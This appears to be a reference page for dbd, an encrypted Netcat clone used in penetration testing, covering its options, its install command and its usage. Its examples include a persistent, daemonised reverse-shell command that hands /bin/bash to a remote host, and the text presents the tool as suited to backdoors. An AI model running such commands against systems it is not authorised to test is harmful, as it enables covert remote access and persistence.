dbd
dbd is a portable Netcat clone with strong AES-CBC-128 + HMAC-SHA1 encryption. It supports program execution, continuous reconnection, and daemon mode on Unix-like systems and Windows.
Description
dbd serves as an enhanced Netcat alternative focused on secure, encrypted TCP/IP communication. It is designed for portability across Unix-like operating systems and Microsoft Win32, featuring robust encryption via AES-CBC-128 combined with HMAC-SHA1. Key capabilities include executing programs post-connection, selecting source ports, and automatic reconnection with configurable delays, making it suitable for establishing persistent, secure tunnels or backdoors.
Common use cases involve creating encrypted reverse shells or listeners for remote access in penetration testing scenarios. The tool's daemonization and respawn options ensure reliability in unstable network environments, while verbose output aids in debugging connections. It operates exclusively over TCP/IP and is distributed under the GNU General Public License.
dbd emphasizes security through built-in encryption toggles and supports advanced features like immobility timeouts for idle operations, enhancing its utility in controlled, offensive security operations.
How It Works
dbd establishes TCP connections either by connecting to a remote host:port or listening on a specified port. Upon connection, it applies AES-CBC-128 encryption with HMAC-SHA1 for integrity if enabled (-c on). The -e option executes a program like /bin/bash, piping I/O through the encrypted channel. Respawn mode (-r n) retries connections indefinitely with a pause, while daemon mode (-D on) forks to background. It handles source/destination addresses, ports, and timeouts, with reverse DNS lookups on incoming connections.
Installation
sudo apt install dbdFlags
Examples
dbd -r 2400 -D on -v -e /bin/bash 192.168.1.202 8080dbd -l -p8080 -vdbd -hdbd [-options] host portdbd -l -p port [-options]dbd -r0 -l -p8080dbd -s